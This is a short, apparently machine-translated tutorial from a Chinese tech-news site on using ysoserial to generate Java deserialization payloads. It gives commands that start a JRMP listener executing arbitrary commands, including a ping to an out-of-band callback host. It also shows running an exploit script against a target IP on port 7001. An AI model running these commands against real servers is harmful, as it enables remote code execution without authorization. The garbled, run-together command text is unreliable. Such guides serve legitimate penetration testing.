Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

Introduction to the use of deserialization tool ysoserial

2025-01-15 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)06/01 Report--

Introduction to the use of the deserialization tool ysoserial what is 0x00 ysoserial?

Ysoserial collects various java to deserialize payload

Download address: https://github.com/angelwhu/ysoserial

Basic usage of 0x01

Execute on the public network vps:

Java-cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [port] CommonsCollections1'[commands]'

Port: the port number of the listener on the public network vps

Commands: commands to be executed

Example:

Java-cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping-c 2 rce.267hqw.ceye.io'

Restart a shell window:

Python exploit.py [target ip] [target port] ysoserial-0.0.6-SNAPSHOT-BETA-all.jar [JRMPListener ip] [JRMPListener port] JRMPClient

Liezi:

Python exploit.py 118.89.53.139 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 118.89.53.139 1099 JRMPClient0x02 write your own payloadgit clone https://github.com/fanyingjie2/ysoserial.git in ysoserial put your own payload in the downloaded package: path ysoserial/src/main/java/ysoserial/payloads/ modify Dockerfile

Docker build-t ysoserial .docker run-ti ID number / bin/bash execute apt-get update in docke execute apt-get install lrzszsz target/ysoserial.jar in docker

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report